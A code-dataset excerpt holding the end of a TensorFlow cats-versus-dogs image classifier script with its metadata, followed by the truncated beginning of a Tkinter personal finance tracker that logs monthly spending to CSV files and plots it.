plt.figure(figsize=(8, 8))\n plt.subplot(1, 2, 1)\n plt.plot(epochs_range, acc, label='Training Accuracy')\n plt.plot(epochs_range, val_acc, label='Validation Accuracy')\n plt.legend(loc='lower right')\n plt.title('Training and Validation Accuracy')\n\n plt.subplot(1, 2, 2)\n plt.plot(epochs_range, loss, label='Training Loss')\n plt.plot(epochs_range, val_loss, label='Validation Loss')\n plt.legend(loc='upper right')\n plt.title('Training and Validation Loss')\n plt.savefig('./foo.png')\n plt.show()\n\nclass MachineLearning04:\n def __init__(self):\n self._URL = ''\n self.zip_dir = None\n self.base_dir = None\n self.train_dir = None\n self.validation_dir = None\n\n self.train_cats_dir = None\n self.train_dogs_dir = None\n self.validation_cats_dir = None\n self.validation_dogs_dir = None\n\n self.num_cats_tr = None\n self.num_dogs_tr = None\n\n self.num_cats_val = None\n self.num_dogs_val = None\n\n self.total_train = None\n self.total_val = None\n\n self.train_image_generator = None\n self.validation_image_generator = None\n\n self.train_data_gen = None\n self.val_data_gen = None\n\n self.model = None\n \n def load_data(self):\n current_directory = os.path.dirname(os.path.realpath(__file__)) \n desired_file = os.path.join(current_directory, 'data', 'cats_and_dogs_filtered.zip')\n print(desired_file) \n if os.path.exists(desired_file):\n print('Using local copy of cats & dogs data.')\n self._URL = pathlib.Path(desired_file).as_uri()\n else:\n print('Using remote copy of cats & dogs data.')\n self._URL = 'https://storage.googleapis.com/mledu-datasets/cats_and_dogs_filtered.zip'\n self.zip_dir = tf.keras.utils.get_file('cats_and_dogs_filtered.zip', origin=self._URL, extract=True)\n\n self.base_dir = os.path.join(os.path.dirname(self.zip_dir), 'cats_and_dogs_filtered')\n self.train_dir = os.path.join(self.base_dir, 'train')\n self.validation_dir = os.path.join(self.base_dir, 'validation')\n\n self.train_cats_dir = os.path.join(self.train_dir, 'cats') # directory with our training cat pictures\n self.train_dogs_dir = os.path.join(self.train_dir, 'dogs') # directory with our training dog pictures\n self.validation_cats_dir = os.path.join(self.validation_dir, 'cats') # directory with our validation cat pictures\n self.validation_dogs_dir = os.path.join(self.validation_dir, 'dogs') # directory with our validation dog pictures\n\n self.num_cats_tr = len(os.listdir(self.train_cats_dir))\n self.num_dogs_tr = len(os.listdir(self.train_dogs_dir))\n\n self.num_cats_val = len(os.listdir(self.validation_cats_dir))\n self.num_dogs_val = len(os.listdir(self.validation_dogs_dir))\n\n self.total_train = self.num_cats_tr + self.num_dogs_tr\n self.total_val = self.num_cats_val + self.num_dogs_val\n\n def print_metadata(self):\n print('total training cat images:', self.num_cats_tr)\n print('total training dog images:', self.num_dogs_tr)\n\n print('total validation cat images:', self.num_cats_val)\n print('total validation dog images:', self.num_dogs_val)\n print(\"--\")\n print(\"Total training images:\", self.total_train)\n print(\"Total validation images:\", self.total_val)\n\n \"\"\"\n Images must be formatted into appropriately pre-processed floating point tensors before being fed into the network. The steps involved in preparing these images are:\n 1) Read images from the disk\n 2) Decode contents of these images and convert it into proper grid format as per their RGB content\n 3) Convert them into floating point tensors\n 4) Rescale the tensors from values between 0 and 255 to values between 0 and 1, as neural networks prefer to deal with small input values.\n\n All these tasks can be completed with ImageDataGenerator.\n \"\"\"\n def load_image_data_generators(self):\n self.train_image_generator = ImageDataGenerator(rescale=1./255) # Generator for our training data\n self.validation_image_generator = ImageDataGenerator(rescale=1./255) # Generator for our validation data\n\n # We can read the data from disk, rescale, and resize with flow_from_directory().\n self.train_data_gen = self.train_image_generator.flow_from_directory(batch_size=BATCH_SIZE,\n directory=self.train_dir,\n shuffle=True,\n target_size=(IMG_SHAPE, IMG_SHAPE), #(150,150)\n class_mode='binary')\n\n self.val_data_gen = self.validation_image_generator.flow_from_directory(batch_size=BATCH_SIZE,\n directory=self.validation_dir,\n shuffle=False,\n target_size=(IMG_SHAPE, IMG_SHAPE), #(150,150)\n class_mode='binary')\n\n # This function will plot images in the form of a grid with 1 row and 5 columns where images are placed in each column.\n def plotImages(self, images_arr):\n fig, axes = plt.subplots(1, 5, figsize=(20,20))\n axes = axes.flatten()\n for img, ax in zip(images_arr, axes):\n ax.imshow(img)\n plt.tight_layout()\n plt.show()\n\n def visualize_training_images(self):\n sample_training_images, _ = next(self.train_data_gen) \n self.plotImages(sample_training_images[:5]) # Plot images 0-4\n\n def create_and_train_model(self):\n self.model = create_rgb_image_model()\n self.model = compile_rgb_image_model(self.model)\n\n # Print the model summary.\n print(\"Summary of RGB Image Model\")\n print(\"--------------------------\")\n self.model.summary()\n\n history = self.model.fit_generator(\n self.train_data_gen,\n steps_per_epoch=int(np.ceil(self.total_train / float(BATCH_SIZE))),\n epochs=EPOCHS,\n validation_data=self.val_data_gen,\n validation_steps=int(np.ceil(self.total_val / float(BATCH_SIZE)))\n )\n\n return history\n\ndef main():\n ml04 = MachineLearning04()\n ml04.load_data()\n ml04.print_metadata()\n ml04.load_image_data_generators()\n\n # Uncomment to see some sample training images.\n # ml04.visualize_training_images()\n\n history = ml04.create_and_train_model()\n visualize_history(history)\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "machine_learning_04/example_without_augmentation.py", "file_name": "example_without_augmentation.py", "file_ext": "py", "file_size_in_byte": 8792, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "tensorflow.get_logger", "line_number": 13, "usage_type": "call"}, {"api_name": "logging.ERROR", "line_number": 14, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.models.Sequential", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 25, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 25, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 26, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 26, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 28, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 28, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 29, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 29, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 31, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 32, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 32, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 34, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 34, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.MaxPooling2D", "line_number": 35, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 35, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 37, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 37, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 38, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 39, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 39, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tensorflow.keras", "line_number": 44, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.losses.SparseCategoricalCrossentropy", "line_number": 46, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 46, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 61, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 63, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 67, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 72, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 73, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 73, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "os.path.realpath", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 109, "usage_type": "call"}, {"api_name": "os.path", "line_number": 109, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 111, "usage_type": "call"}, {"api_name": "tensorflow.keras.utils.get_file", "line_number": 115, "usage_type": "call"}, {"api_name": "tensorflow.keras", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path", "line_number": 117, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 119, "usage_type": "call"}, {"api_name": "os.path", "line_number": 119, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 121, "usage_type": "call"}, {"api_name": "os.path", "line_number": 121, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path", "line_number": 124, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 126, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 127, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 129, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 130, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.image.ImageDataGenerator", "line_number": 155, "usage_type": "call"}, {"api_name": "tensorflow.keras.preprocessing.image.ImageDataGenerator", "line_number": 156, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 177, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 177, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 178, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 178, "usage_type": "name"}, {"api_name": "numpy.ceil", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.ceil", "line_number": 198, "usage_type": "call"}]} {"seq_id": "189411714", "text": "from tkinter import *\r\nfrom tkinter import ttk\r\nfrom datetime import date\r\nimport csv\r\nimport time\r\nimport matplotlib\r\nmatplotlib.use(\"TkAgg\")\r\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2TkAgg\r\nfrom matplotlib.figure import Figure\r\n\r\n\r\ndate = date.today() #Get today's date\r\ndate = str(date) #Convert to string\r\nmonth = date[5:7] #Get the month\r\nyear = date[0:4] #Get the year\r\nday = date[8:10]\r\ncurrentBGDS = True\r\ncurrentLGDS = False\r\ncurrentBGMI = False\r\ncurrentBGPS = False\r\ncurrentBGSI = False\r\n\r\n#Convert numerical month to letterical month\r\nMonths = {\"01\":\"January\", \r\n \"02\":\"February\",\r\n \"03\":\"March\",\r\n \"04\":\"April\",\r\n \"05\":\"May\",\r\n \"06\":\"June\",\r\n \"07\":\"July\",\r\n \"08\":\"August\",\r\n \"09\":\"September\",\r\n \"10\":\"October\",\r\n \"11\":\"November\",\r\n \"12\":\"December\"}\r\n\r\nMonthsReverse = {\"January\":\"01\", \r\n \"February\":\"02\",\r\n \"March\":\"03\",\r\n \"April\":\"04\",\r\n \"May\":\"05\",\r\n \"June\":\"06\",\r\n \"July\":\"07\",\r\n \"August\":\"08\",\r\n \"September\":\"09\",\r\n \"October\":\"10\",\r\n \"November\":\"11\",\r\n \"December\":\"12\"}\r\n\r\ndayInMonths ={\"01\":31, \r\n \"02\":{0:28,\r\n 1:29},\r\n \"03\":31,\r\n \"04\":30,\r\n \"05\":31,\r\n \"06\":30,\r\n \"07\":31,\r\n \"08\":31,\r\n \"09\":30,\r\n \"10\":31,\r\n \"11\":30,\r\n \"12\":31}\r\n\r\nDateOfCurrentExpenses = \"MonthlyExpense\" + month + year + \".txt\"\r\nUsedExpensesFile = \"UsedExpenses\" + month + year + \".txt\"\r\nMonthlyItemsFile = \"Items\" + month + year + \".csv\"\r\nTotalDailyExpenditureFile = \"DailyExpenditure\" + month + year + \".csv\"\r\nTitle = \"Finance Tracker: \" + Months[month] + \" \" + year\r\nCurrentCurrency = \"Currency\" + month + year + \".txt\"\r\n\r\ndef ReadMonthlyExpense(fileName):\r\n with open(fileName,\"r\") as file:\r\n monthlyExpense = file.read()\r\n file.close()\r\n return monthlyExpense\r\n\r\ndef ReadUsedExpenses(fileName):\r\n with open(fileName,\"r\") as file:\r\n usedExpenses = file.read()\r\n file.close()\r\n return usedExpenses\r\n\r\ndef ReadTDEF(fileName):\r\n with open(fileName, \"r\") as TDEF:\r\n a = csv.reader(TDEF)\r\n TDEFlist = list(a)\r\n TDEF.close()\r\n return TDEFlist\r\n\r\ndef WriteTDEF(List):\r\n with open (TotalDailyExpenditureFile, \"w\", newline='') as TDEF:\r\n Save = csv.writer(TDEF)\r\n Save.writerows(List)\r\n TDEF.close()\r\n \r\ndef ReadMonthlyItems(fileName):\r\n with open (fileName, \"r\") as MIF:\r\n a = csv.reader(MIF)\r\n MIFlist = list(a)\r\n MIF.close()\r\n return MIFlist\r\n\r\ndef WriteMonthlyItems(List):\r\n with open (MonthlyItemsFile, \"w\", newline='') as MIF:\r\n Save = csv.writer(MIF)\r\n Save.writerows(List)\r\n MIF.close()\r\n\r\ndef UpperFirsts(s):\r\n ProperVal = \"\"\r\n Skip = True\r\n ProperVal += s[0].upper()\r\n Length = len(s)\r\n for x in range(Length):\r\n if not Skip:\r\n ProperVal += s[x]\r\n if s[x] == \" \" or s[x] == \"/\" or s[x] == \"-\" or s[x] == \"_\":\r\n Skip = True\r\n ProperVal += s[x+1].upper()\r\n else:\r\n Skip = False\r\n return ProperVal\r\n\r\ndef StringToFloat(List):\r\n for x in range(len(List)):\r\n List[x] = float(List[x])\r\n return List\r\n\r\ndef maxMessage(List, day):\r\n print(List[1])\r\n List[1] = StringToFloat(List[1])\r\n expensivestIndex = List[1].index(max(List[1]))\r\n expensivest = List[0][expensivestIndex]\r\n if day == True:\r\n expensivestMessage = \"The most expensive day \\n this month is: \"+ \"Day \" + expensivest +\"!\"\r\n else:\r\n expensivest = UpperFirsts(expensivest)\r\n expensivestMessage = \"The most expensive item you \\n bought this month is: \"+ expensivest +\"!\"\r\n return expensivestMessage\r\n\r\ndef plotGraph(List, plots, xtitle, ytitle, mainTitle, BGDS, LGDS, BGMI, BGPS, BGSI, barTrue, lineTrue):\r\n global currentBGDS\r\n global currentLGDS\r\n global currentBGMI\r\n global currentBGPS\r\n global currentBGSI\r\n print(\"behairi\")\r\n print(List[1])\r\n maxCost = int(max(List[1]))\r\n remainder = maxCost % 20\r\n highestYTick = maxCost + (20-remainder)\r\n increments = int(highestYTick / 20)\r\n if barTrue == True:\r\n plots.bar(range(len(List[0])), List[1])\r\n else:\r\n plots.plot(range(len(List[0])), List[1])\r\n plots.set_xticks(range(len(List[0])), minor=False)\r\n plots.set_xticklabels(List[0], fontdict=None, minor=False)\r\n if maxCost > 20:\r\n plots.set_yticks(range(0,highestYTick+1,increments))\r\n plots.set_xlabel(xtitle)\r\n plots.set_ylabel(ytitle)\r\n plots.set_title(mainTitle)\r\n currentBGDS = BGDS\r\n currentLGDS = LGDS\r\n currentBGMI = BGMI\r\n currentBGPS = BGPS\r\n currentBGSI = BGSI\r\n\r\ndef makeGraph(self, BGDS, LGDS, BGMI, BGPS, BGSI, col, rw, rowsp, colsp, TDEfileName, MIfileName, chosenStore):\r\n graphFigure = Figure(figsize=(10,5), dpi=100)\r\n dataPlots = graphFigure.add_subplot(111)\r\n canvas = FigureCanvasTkAgg(graphFigure, self)\r\n## toolbar = NavigationToolbar2TkAgg(canvas, self)\r\n## toolbar.update()\r\n## toolbar.pack()\r\n canvas.show()\r\n canvas.get_tk_widget().grid(column=col,row=rw, rowspan=rowsp, columnspan=colsp)\r\n\r\n \r\n dataPlots.clear()\r\n if BGDS == True:\r\n TDEFlist = ReadTDEF(TDEfileName)\r\n TDEFlist[1] = StringToFloat(TDEFlist[1])\r\n plotGraph(TDEFlist, dataPlots, \"Day\", \"Expenditure\", \"Daily Spendings\", True, False, False, False, False, True, False)\r\n return canvas\r\n\r\n elif LGDS == True:\r\n TDEFlist = ReadTDEF(TDEfileName)\r\n TDEFlist[1] = StringToFloat(TDEFlist[1])\r\n plotGraph(TDEFlist, dataPlots, \"Day\", \"Expenditure\", \"Daily Spendings\", False, True, False, False, False, False, True)\r\n return canvas\r\n \r\n elif BGMI == True:\r\n MIFlist = ReadMonthlyItems(MIfileName)\r\n itemsList = []\r\n for x in range(len(MIFlist[0])):\r\n item = UpperFirsts(MIFlist[0][x])\r\n itemsList.append(item)\r\n MIFlist[0] = itemsList\r\n MIFlist[1] = StringToFloat(MIFlist[1])\r\n plotGraph(MIFlist, dataPlots, \"Items\", \"Expenditure\", \"Monthly Spendings per Item\", False, False, True, False, False, True, False)\r\n return canvas\r\n\r\n elif BGPS == True:\r\n MIFlist = ReadMonthlyItems(MIfileName)\r\n storeList = [[],[]]\r\n for x in range(2, len(MIFlist)):\r\n store = UpperFirsts(MIFlist[x][0])\r\n storeTotalPrice = MIFlist[x][1]\r\n storeList[0].append(store)\r\n storeList[1].append(storeTotalPrice)\r\n storeList[1] = StringToFloat(storeList[1])\r\n print(storeList)\r\n plotGraph(storeList, dataPlots, \"Stores\", \"Expenditure\", \"Monthly Spendings per Store\", False, False, False, True, False, True, False)\r\n return canvas\r\n \r\n \r\n\r\n elif BGSI == True:\r\n MIFlist = ReadMonthlyItems(MIfileName)\r\n itemsList = [[],[]]\r\n for x in range(2,len(MIFlist)):\r\n if MIFlist[x][0] == chosenStore:\r\n for y in range(2, len(MIFlist[x]), 2):\r\n itemsList[0].append(MIFlist[x][y])\r\n itemsList[1].append(MIFlist[x][y+1])\r\n break\r\n itemsList[1] = StringToFloat(itemsList[1])\r\n xtitle = \"Items From \" + chosenStore\r\n plotGraph(itemsList, dataPlots, xtitle, \"Expenditure\", \"Monthly Spendings per Store Item\", False, False, False, False, True, True, False)\r\n return canvas\r\n\r\n\r\n\r\ndef NewData(itemEntry, storeEntry, costEntry, passController, RElabel, UElabel, EDlabel, EIlabel, self, BGDS, LGDS, BGMI, BGPS, BGSI):\r\n item = itemEntry.get()\r\n store = storeEntry.get()\r\n totalCost = costEntry.get()\r\n\r\n item = item.lower()\r\n store = store.lower()\r\n\r\n textfile = open(CurrentCurrency, \"r\")\r\n currence = textfile.read()\r\n \r\n try:\r\n totalCost = float(totalCost)\r\n try:\r\n MIFlist = ReadMonthlyItems(MonthlyItemsFile)\r\n rows = len(MIFlist)\r\n if item not in MIFlist[0]:\r\n MIFlist[0].append(item)\r\n MIFlist[1].append(totalCost)\r\n for x in range(rows):\r\n if store == MIFlist[x][0]:\r\n if item not in MIFlist[x]:\r\n MIFlist[x].append(item)\r\n MIFlist[x].append(totalCost)\r\n MIFlist[x][1] = float(MIFlist[x][1]) + totalCost\r\n \r\n break\r\n else:\r\n if x == rows-1:\r\n MIFlist.append([store, totalCost, item, totalCost])\r\n \r\n else:\r\n itemIndex = MIFlist[0].index(item)\r\n for x in range(rows):\r\n if store == MIFlist[x][0]:\r\n if item not in MIFlist[x]:\r\n MIFlist[x].append(item)\r\n MIFlist[x].append(totalCost)\r\n MIFlist[x][1] = float(MIFlist[x][1]) + totalCost\r\n break\r\n else:\r\n if x == rows-1:\r\n MIFlist.append([store, totalCost, item, totalCost])\r\n MIFlist[1][itemIndex] = float(MIFlist[1][itemIndex]) + totalCost\r\n \r\n \r\n \r\n\r\n WriteMonthlyItems(MIFlist)\r\n\r\n ######\r\n\r\n\r\n TDEFlist = ReadTDEF(TotalDailyExpenditureFile)\r\n dayIndex = TDEFlist[0].index(str(int(day)))\r\n TDEFlist[1][dayIndex] = float(TDEFlist[1][dayIndex]) + totalCost \r\n WriteTDEF(TDEFlist)\r\n\r\n\r\n #######\r\n\r\n usedExpense = float(ReadUsedExpenses(UsedExpensesFile))\r\n newUsedExpense = usedExpense + totalCost\r\n with open(UsedExpensesFile, \"w\") as UEF:\r\n UEF.write(str(newUsedExpense))\r\n UEF.close()\r\n\r\n remainingExpenses = str(float(ReadMonthlyExpense(DateOfCurrentExpenses)) - newUsedExpense)\r\n remainingExpensesMessage = \"You have: \" + currence + remainingExpenses + \"\\n remaining this month!\"\r\n usedExpensesMessage = \"You have spent: \" + currence + str(newUsedExpense) + \"\\n this month!\"\r\n TDEFlist = ReadTDEF(TotalDailyExpenditureFile)\r\n expensivestDayMessage = maxMessage(TDEFlist, True)\r\n MIFlist = ReadMonthlyItems(MonthlyItemsFile)\r\n expensivestItemMessage = maxMessage(MIFlist, False)\r\n\r\n\r\n #Resets the Entry fields and also updates the info labels at bottom of graph\r\n itemEntry.delete(0,END)\r\n storeEntry.delete(0,END)\r\n costEntry.delete(0,END)\r\n \r\n UpdateItems = []\r\n for x in range(len(MIFlist[0])):\r\n UpdateItems.append(UpperFirsts(MIFlist[0][x]))\r\n itemEntry['values'] = UpdateItems\r\n UpdateStores = []\r\n for x in range(2, len(MIFlist)):\r\n UpdateStores.append(UpperFirsts(MIFlist[x][0]))\r\n storeEntry['values'] = UpdateStores\r\n \r\n RElabel.config(text=str(remainingExpensesMessage))\r\n UElabel.config(text=usedExpensesMessage)\r\n EDlabel.config(text=expensivestDayMessage)\r\n EIlabel.config(text=expensivestItemMessage)\r\n\r\n \r\n makeGraph(self, BGDS, LGDS, BGMI, BGPS, BGSI, 2, 0, 17, 10, TotalDailyExpenditureFile, MonthlyItemsFile, \"Kappa\")\r\n \r\n\r\n except:\r\n newList = [[item], [totalCost], [store, totalCost, item, totalCost]]\r\n WriteMonthlyItems(newList)\r\n\r\n newList2 = [[],[]]\r\n if month == \"02\":\r\n isItLeapYear = int(year) % 4\r\n if isItLeapYear == 0:\r\n numberOfDays = dayInMonths[month][1]\r\n else:\r\n numberOfDays = dayInMonths[month][0]\r\n else:\r\n numberOfDays = dayInMonths[month]\r\n for x in range(1, (numberOfDays + 1)):\r\n newList2[0].append(x)\r\n newList2[1].append(0)\r\n dayIndex = newList2[0].index(int(day))\r\n newList2[1][dayIndex] = float(newList2[1][dayIndex]) + totalCost\r\n WriteTDEF(newList2)\r\n \r\n \r\n ###\r\n\r\n remainingExpensesMessage = \"You have: \" + currence + str(float(ReadMonthlyExpense(DateOfCurrentExpenses)) - totalCost) + \"\\n remaining this month!\"\r\n usedExpensesMessage = \"You have spent: \" + currence + str(totalCost) + \"\\n this month!\"\r\n TDEFlist = ReadTDEF(TotalDailyExpenditureFile)\r\n expensivestDayMessage = maxMessage(TDEFlist, True)\r\n MIFlist = ReadMonthlyItems(MonthlyItemsFile)\r\n expensivestItemMessage = maxMessage(MIFlist, False)\r\n\r\n \r\n with open (UsedExpensesFile, \"w\") as UEF:\r\n UEF.write(str(totalCost))\r\n UEF.close()\r\n\r\n #Resets the Entry fields and also updates the info labels at bottom of graph\r\n itemEntry.delete(0,END)\r\n storeEntry.delete(0,END)\r\n costEntry.delete(0,END)\r\n\r\n UpdateItems = []\r\n for x in range(len(MIFlist[0])):\r\n UpdateItems.append(UpperFirsts(MIFlist[0][x]))\r\n itemEntry['values'] = UpdateItems\r\n UpdateStores = []\r\n for x in range(2, len(MIFlist)):\r\n UpdateStores.append(UpperFirsts(MIFlist[x][0]))\r\n storeEntry['values'] = UpdateStores\r\n \r\n RElabel.config(text=remainingExpensesMessage)\r\n UElabel.config(text=usedExpensesMessage)\r\n EDlabel.config(text=expensivestDayMessage)\r\n EIlabel.config(text=expensivestItemMessage)\r\n\r\n makeGraph(self, BGDS, LGDS, BGMI, BGPS, BGSI, 2, 0, 17, 10, TotalDailyExpenditureFile, MonthlyItemsFile, \"Kappa\")\r\n\r\n except:\r\n messagebox.showerror(title=\"Input Error!\",message=\"Please input correctly!\")\r\n\r\n\r\nclass MainFrame(Tk):\r\n\r\n def __init__(self):\r\n Tk.__init__(self)\r\n\r\n Tk.title(self, Title)\r\n Tk.iconbitmap(self, default=\"fticon2.ico\")\r\n \r\n window = Frame(self)\r\n window.pack(side=\"top\",fill=\"both\",expand=True)\r\n window.grid_rowconfigure(0, weight=1)\r\n window.grid_columnconfigure(0, weight=1)\r\n\r\n self.frames = {}\r\n\r\n for x in (NewMonth, Standard, LoadOldDataPage):\r\n frame = x(window, self)\r\n self.frames[x] = frame\r\n frame.grid(row=0, column=0, sticky=\"nsew\")\r\n\r\n try:\r\n monthlyExpense = ReadMonthlyExpense(DateOfCurrentExpenses)\r\n self.show_frame(Standard)\r\n except:\r\n self.show_frame(NewMonth)\r\n\r\n def show_frame(self, cont):\r\n frame = self.frames[cont]\r\n frame.tkraise()\r\n\r\n\r\nclass NewMonth(Frame): #Completed 100%, perhaps make it look nice\r\n\r\n def __init__(self, parent, controller):\r\n Frame.__init__(self, parent)\r\n standardCurrency = [\"$\",\"$\", \"£\", \"€\", \"₹\", \"¥\", \"₩\", \"IDR\", \"OMR\", \"AED\"]\r\n currency2 = StringVar()\r\n currency2.set(standardCurrency[0])\r\n self.currencyOption = ttk.OptionMenu(self, currency2, *standardCurrency)\r\n \r\n self.label = ttk.Label(self, text=\"What is your monthly expenses?\").pack()\r\n self.entry = ttk.Entry(self)\r\n self.label2 = ttk.Label(self, text=\"Please enter your currency:\")\r\n \r\n self.button = ttk.Button(self, text=\"ENTER\",command=lambda: self.GET(controller, currency2))\r\n self.entry.pack()\r\n self.label2.pack()\r\n self.currencyOption.pack()\r\n self.button.pack()\r\n\r\n\r\n\r\n def GET(self,controller, currency2):\r\n monthlyExpense = self.entry.get()\r\n standardCurrency = [\"$\", \"£\", \"€\", \"IDR\", \"OMR\"]\r\n currency = currency2.get()\r\n with open(DateOfCurrentExpenses,\"w\") as file:\r\n file.write(monthlyExpense)\r\n file.close()\r\n if monthlyExpense == \"\" and currency == \"\":\r\n Pass = False\r\n else:\r\n Pass = True\r\n if Pass:\r\n try:\r\n monthlyExpenseINT = int(monthlyExpense)\r\n if monthlyExpenseINT <= 0:\r\n messagebox.showerror(title=\"Input Error!\",message=\"You can't have minus or zero monthly expenses!\")\r\n else:\r\n with open(DateOfCurrentExpenses,\"w\") as file:\r\n file.write(monthlyExpense)\r\n file.close()\r\n controller.show_frame(Standard)\r\n textfile = open(CurrentCurrency, \"w\")\r\n textfile.write(currency)\r\n textfile.close()\r\n changeInitialLabels()\r\n controller.show_frame(Standard)\r\n \r\n except:\r\n messagebox.showerror(title=\"Input Error!\",message=\"That is not a number!\")\r\n else:\r\n messagebox.showerror(title=\"Input Error!\",message=\"You have left a field blank!\")\r\n\r\ndef changeInitialLabels():\r\n textfile = open(CurrentCurrency, \"r\")\r\n currence = textfile.read()\r\n monthlyExpense = ReadMonthlyExpense(DateOfCurrentExpenses)\r\n monthlyExpense = \"This month's expenses: \" + currence + monthlyExpense\r\n label2.config(text=monthlyExpense)\r\n originalMoneys = ReadMonthlyExpense(DateOfCurrentExpenses)\r\n expenditureLeft = \"The expenses you have remaining this month:\\n\" + currence + originalMoneys +\"!\"\r\n RElabel.config(text=expenditureLeft)\r\n aaa = \"The expenses you have used this month:\\n\" + currence + \"0\" +\"!\"\r\n UElabel.config(text=aaa)\r\n\r\n\r\nclass Standard(ttk.Frame):\r\n def __init__(self, parent, controller):\r\n global label2\r\n global RElabel\r\n global UElabel\r\n ttk.Frame.__init__(self, parent)\r\n\r\n try:\r\n textfile = open(CurrentCurrency, \"r\")\r\n currence = textfile.read()\r\n except:\r\n currence = 